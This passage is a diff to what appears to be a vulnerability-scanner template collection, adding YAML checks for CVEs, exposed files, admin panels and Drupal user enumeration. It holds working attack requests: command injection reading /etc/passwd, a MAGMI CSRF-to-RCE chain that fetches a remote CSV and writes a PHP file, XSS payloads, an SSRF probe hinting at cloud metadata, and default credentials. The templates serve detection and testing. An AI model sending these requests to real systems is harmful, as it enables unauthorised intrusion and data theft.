+id: CVE-2020-15920
+
+info:
+  name: Unauthenticated RCE at Mida eFramework on 'PDC/ajaxreq.php'
+  author: dwisiswant0
+  severity: critical
+  description: There is an OS Command Injection in Mida eFramework through 2.9.0 that allows an attacker to achieve Remote Code Execution (RCE) with administrative (root) privileges. No authentication is required.
+
+  # References:
+  # - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2020-2140.yaml

@@ -0,0 +1,25 @@
+id: CVE-2020-2140
+info:
+  author: j3ssie/geraldino2
+  name: Jenkin AuditTrailPlugin XSS
+  severity: medium
+  description: Jenkins Audit Trail Plugin 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.
+
+  # Source:- https://nvd.nist.gov/vuln/detail/CVE-2020-2140
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
+      - "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - <h1>sample
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2020-24223.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-24223
+
+info:
+  name: Mara CMS  7.5 - Reflective Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+  # Vendor Homepage: https://sourceforge.net/projects/maracms/
+  # Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
+  # Source: https://www.exploit-db.com/exploits/48777
+
+requests:
+  - metod: GET
+    path:
+      - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain)</script>'
+        part: body

cves/CVE-2020-3187.yaml

@@ -5,7 +5,7 @@ id: CVE-2020-3187
 info:
   name: CVE-2020-3187
   author: KareemSe1im
-  severity: High
+  severity: high
 
 requests:
   - method: GET

cves/CVE-2020-5405.yaml

@@ -3,7 +3,7 @@ id: CVE-2020-5405
 info:
   name: Spring Cloud Directory Traversal
   author: Harsh Bothra
-  severity: High
+  severity: high
 
 # source:- https://nvd.nist.gov/vuln/detail/CVE-2020-5405
 

cves/CVE-2020-5412.yaml

@@ -0,0 +1,28 @@
+id: CVE-2020-5412
+
+info:
+  name: Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)
+  author: dwisiswant0
+  severity: medium
+  description: Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/proxy.stream?origin=http://burpcollaborator.net/"
+
+      # To get crithit, try http://169.254.169.254/latest/metadata/
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Burp Collaborator Server"
+        part: body
+      - type: word
+        words:
+          - "Jelly"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-5776.yaml

@@ -0,0 +1,44 @@
+id: CVE-2020-5776
+
+info:
+  name: Cross Site Request Forgery (CSRF) in MAGMI (Magento Mass Importer) Plugin
+  author: dwisiswant0
+  severity: high
+  description: Currently, all versions of MAGMI are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.
+
+  # Due to the lack of CSRF tokens, RCE (via phpcli command) is possible
+  # in the event that a CSRF is leveraged against an existing admin session for MAGMI.
+  # At the time of this advisory, no patch exists for this issue.
+  # Ref:
+  # - https://nvd.nist.gov/vuln/detail/CVE-2020-5776
+
+requests:
+  - raw:
+      - |
+        POST /magmi/web/magmi_saveprofile.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-type: application/x-www-form-urlencoded
+        Connection: close
+
+        profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
+      - |
+        POST /magmi/web/magmi_run.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-type: application/x-www-form-urlencoded
+        Connection: close
+
+        engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update
+      - |
+        GET /magmi/web/info.php HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "PHP Extension"
+          - "PHP Version"
+        condition: and
+      - type: status
+        status:
+          - 200

cves/CVE-2020-5777.yaml

@@ -0,0 +1,30 @@
+id: CVE-2020-5777
+
+info:
+  name: "Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23"
+  author: "dwisiswant0"
+  severity: high
+  description: "MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure."
+
+  # Response code 503 indicates a potential successful "Too many connections" error
+  # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
+  # whith default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=)
+  # Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100
+  # Ref:
+  # - https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
+
+requests:
+  - raw:
+      - |
+        GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Too many connections"
+        part: body
+      - type: status
+        status:
+          - 503

cves/CVE-2020-7209.yaml

@@ -9,19 +9,17 @@ info:
   # The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.
 
   # https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
+  # venedor: https://www.hpe.com/us/en/home.html
+  # softwar: https://github.com/HewlettPackard/LinuxKI
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
-    headers:
-      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
+      - "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"
+
     matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "nonexistent"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
         part: body
-      - type: status
-        status:
-          - 200

cves/CVE-2020-8512.yaml

@@ -12,13 +12,13 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"'
-      - '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"'
+      - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
+      - '{{BaseURL}}:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - "<svg/onload=alert(document.domain)>\"\">"
+          - "<svg/onload=alert(document.domain)>"
         part: body
       - type: status
         status:

default-credentials/rabbitmq-default-admin.yaml

@@ -3,7 +3,7 @@ id: rabbitmq-default-admin
 info:
   name: RabbitMQ Default Credentials
   author: fyoorer & dwisiswant0
-  severity: High
+  severity: high
 
 requests:
   - method: GET

files/druid-monitor.yaml

@@ -0,0 +1,20 @@
+id: druid-monitor
+info:
+  name: Druid Monitor Unauthorized Access
+  author: 0h1in9e @ohlinge
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/druid/index.html"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Druid Stat Index</title>'
+
+      - type: status
+        status:
+          - 200

files/error-logs.yaml

@@ -0,0 +1,43 @@
+id: error-logs
+info:
+  name: common error log files
+  author: geeknik
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/logs/error.log"
+      - "{{BaseURL}}/logs/errors.log"
+      - "{{BaseURL}}/log/error.log"
+      - "{{BaseURL}}/log/errors.log"
+      - "{{BaseURL}}/errors/errors.log"
+      - "{{BaseURL}}/error/error.log"
+      - "{{BaseURL}}/errors.log"
+      - "{{BaseURL}}/error.log"
+      - "{{BaseURL}}/error.txt"
+      - "{{BaseURL}}/errors.txt"
+      - "{{BaseURL}}/admin/logs/error.log"
+      - "{{BaseURL}}/admin/logs/errors.log"
+      - "{{BaseURL}}/admin/log/error.log"
+      - "{{BaseURL}}/admin/logs/errors.log"
+      - "{{BaseURL}}/admin/error.log"
+      - "{{BaseURL}}/admin/errors.log"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Segmentation Fault"
+          - "coredump"
+          - "script headers"
+          - "Broken pipe"
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 200

files/git-config.yaml

@@ -2,15 +2,24 @@ id: git-config
 
 info:
   name: Git Config Disclosure
-  author: Ice3man
+  author: Ice3man & pikpikcu
   severity: medium
   description: Searches for the pattern /.git/config on passed URLs.
 
 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.git/config"
+  - raw:
+      - |
+        GET /.git/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 1
+        Connection: close
+
     matchers:
       - type: word
         words:
-          - "[core]"
+          - "[core]"

files/robots.txt.yaml

@@ -0,0 +1,24 @@
+id: robots-txt
+info:
+  name: robots.txt file
+  author: CasperGN
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/robots.txt"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Disallow:"
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 200

files/sql-dump.yaml

@@ -0,0 +1,38 @@
+id: default-sql-dump
+
+info:
+  name: MySQL Dump Files
+  author: geeknik
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/{{Hostname}}.sql"
+      - "{{BaseURL}}/1.sql"
+      - "{{BaseURL}}/backup.sql"
+      - "{{BaseURL}}/data.sql"
+      - "{{BaseURL}}/database.sql"
+      - "{{BaseURL}}/db_backup.sql"
+      - "{{BaseURL}}/dbdump.sql"
+      - "{{BaseURL}}/db.sql"
+      - "{{BaseURL}}/dump.sql"
+      - "{{BaseURL}}/localhost.sql"
+      - "{{BaseURL}}/mysql.sql"
+      - "{{BaseURL}}/site.sql"
+      - "{{BaseURL}}/sql.sql"
+      - "{{BaseURL}}/temp.sql"
+      - "{{BaseURL}}/users.sql"
+      - "{{BaseURL}}/translate.sql"
+      - "{{BaseURL}}/mysqldump.sql"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "INSERT INTO"
+        part: body
+
+      - type: status
+        status:
+          - 200

files/wadl-files.yaml

@@ -5,6 +5,10 @@ info:
   author: 0xrudra & manuelbua
   severity: info
 
+  # References:
+  # - https://github.com/dwisiswant0/wadl-dumper
+  # - https://www.nopsec.com/leveraging-exposed-wadl-xml-in-burp-suite/
+
 requests:
   - method: GET
     path:

files/wordpress-debug-log.yaml

@@ -0,0 +1,26 @@
+id: wp-debug-log
+
+info:
+  name: WordPress debug log
+  author: geraldino2 & @dwisiswant0
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/debug.log"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - octet-stream
+          - text/plain
+        part: header
+        condition: or
+      - type: regex
+        regex:
+          - "[[0-9]{2}-[a-zA-Z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [A-Z]{3}] PHP"
+        part: body
+      - type: status
+        status:
+          - 200

files/wordpress-directory-listing.yaml

@@ -9,6 +9,9 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wp-content/uploads/"
+      - "{{BaseURL}}/wp-content/themes/"
+      - "{{BaseURL}}/wp-content/plugins/"
+      - "{{BaseURL}}/wp-includes/"
     matchers-condition: and
     matchers:
       - type: status
@@ -16,4 +19,4 @@ requests:
           - 200
       - type: word
         words:
-          - Index of /wp-content/uploads
+          - Index of /

generic-detections/top-15-xss.yaml

@@ -15,9 +15,14 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/?q%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526s%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526search%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526id%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526action%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keyword%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526query%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526page%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keywords%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526url%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526view%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526cat%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526name%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526key%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526p%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E"
+      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "<svg/onload=confirm('testing-xss')>"
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

panels/iomega-lenovo-emc-shared-nas-detect.yaml

@@ -0,0 +1,29 @@
+id: iomega-lenovo-emc-shared-nas.yaml
+
+info:
+  name: Iomega Lenovo EMC with shared NAS
+  author: e_schultze_
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cp/Shares?user=&protocol=webaccess&v=2.3"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"access":"read"'
+          - '"access":"readwrite"'
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "iomega"
+        part: header

panels/jmx-console.yaml

@@ -2,7 +2,7 @@ id: jmx-console
 info:
   name: JMX Console
   author: Yash Anand @yashanand155
-  severity: Low
+  severity: low
 requests:
   - method: GET
     path:

panels/mongo-express-web-gui.yaml

@@ -1,16 +0,0 @@
-id: mongo-express-web-gui
-
-info:
-  name: Mongo Express Web GUI
-  author: puzzlepeaches
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "Set-Cookie: mongo-express="
-        part: header

panels/polycom-admin-detect.yaml

@@ -0,0 +1,27 @@
+id: polycom-admin-detect
+
+info:
+  name: Polycom Admin Panel
+  author: e_schultze_
+  severity: low
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/systemstatus.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "SYSTEMSTATUS"
+        part: body
+
+      - type: word
+        words:
+          - "Server: lighttpd"
+        part: header

panels/traefik-dashboard.yaml

@@ -2,13 +2,14 @@ id: traefik-dashboard-detect
 
 info:
   name: Traefik Dashboard
-  author: schniggie
+  author: schniggie & StreetOfHackerR007
   severity: info
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/dashboard/"
+      - "{{BaseURL}}:8080/dashboard/"
     matchers:
       - type: word
         words:

panels/workspaceone-uem-airwatch-dashboard-detect.yaml

@@ -1,4 +1,4 @@
-id: workspaceone-uem-airWatch-dashboard-detect
+id: workspaceone-uem-airwatch-dashboard-detect
 
 info:
   name: Workspace ONE Unified Endpoint Management (UEM) AirWatch

payloads/CVE-2020-5776.csv

@@ -0,0 +1,34 @@
+sku,attribute_set,type,store,websites,configurable_attributes,color,full_size,name,description,short_description,full_features,att_ean,price,special_price,rrp,qty,is_in_stock,manage_stock,use_config_manage_stock,status,visibility,weight,category_ids,tax_class_id,thumbnail,small_image,image,media_gallery,arw_brand 
+AF001WHIT2XL,Default,simple,admin,Default,"color,full_size",White,2XL,Chef's kit jacket with press stud (DD16)-White-2XL,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001WHIT2XS,Default,simple,admin,Default,"color,full_size",White,2XS,Chef's kit jacket with press stud (DD16)-White-2XS,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001WHIT3XL,Default,simple,admin,Default,"color,full_size",White,3XL,Chef's kit jacket with press stud (DD16)-White-3XL,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001WHIT4XL,Default,simple,admin,Default,"color,full_size",White,4XL,Chef's kit jacket with press stud (DD16)-White-4XL,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001WHITL,Default,simple,admin,Default,"color,full_size",White,L,Chef's kit jacket with press stud (DD16)-White-L,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001WHITM,Default,simple,admin,Default,"color,full_size",White,M,Chef's kit jacket with press stud (DD16)-White-M,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001WHITS,Default,simple,admin,Default,"color,full_size",White,S,Chef's kit jacket with press stud (DD16)-White-S,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001WHITXL,Default,simple,admin,Default,"color,full_size",White,XL,Chef's kit jacket with press stud (DD16)-White-XL,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001WHITXS,Default,simple,admin,Default,"color,full_size",White,XS,Chef's kit jacket with press stud (DD16)-White-XS,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,,Kustom Kit
+AF001BLAC2XL,Default,simple,admin,Default,"color,full_size",Black,2XL,Chef's kit jacket with press stud (DD16)-Black-2XL,"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,Not Visible Individually,0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF011_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF011_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF011_LS1.jpg,,Kustom Kit
+AF001,Default,configurable,admin,Default,"color,full_size",,,Chef's kit jacket with press stud (DD16),"Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Made in 200gsm Poly/Cotton with 10 stainless steel press studs. Best value.  Washing Instructions: 65 degree industrial wash.
+","Stainless steel press studs    One way fastening    Industrial wash Fabric:65% Polyester, 35% Cotton Weight:200gsm",,7.95,,,100,1,1,1,1,"Catalog, Search",0,"32,33",None,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg,/Wetransfer-b10265/AFD by Dennys/AF001_LS1.jpg::White;/Wetransfer-b10265/AFD by Dennys/AF011_LS1.jpg::Black;/wetransfer-b10265/Alexandra/AX001_LS1.jpg;/wetransfer-b10265/Alexandra/AX005_LS1.jpg;,Kustom Kit

security-misconfiguration/drupal-user-enum-ajax.yaml

@@ -0,0 +1,34 @@
+id: drupal-user-enum-ajax
+
+info:
+  name: Drupal User Enumration [Ajax]
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/?q=admin/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/?q=views/ajax/autocomplete/user/a"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '(?i)\{\"a'
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - '"[\w \-\_\@\.]+\"'

security-misconfiguration/drupal-user-enum-redirect.yaml

@@ -0,0 +1,30 @@
+id: drupal-user-enum-redirect
+
+info:
+  name: Drupal User Enumration [Redirect]
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/user/0"
+      - "{{BaseURL}}/user/1"
+      - "{{BaseURL}}/user/2"
+      - "{{BaseURL}}/user/3"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '(?i)Location: http(s|):\/\/[\w\.\-]+(\/ar|\/en|)\/users\/\w+'
+        part: header
+      - type: status
+        status:
+          - 301
+    extractors:
+      - type: regex
+        part: header
+        regex:
+          - 'users\/\w+'

security-misconfiguration/jira-unauthenticated-dashboards.yaml

@@ -6,7 +6,7 @@ id: jira-unauthenticated-dashboards
 info:
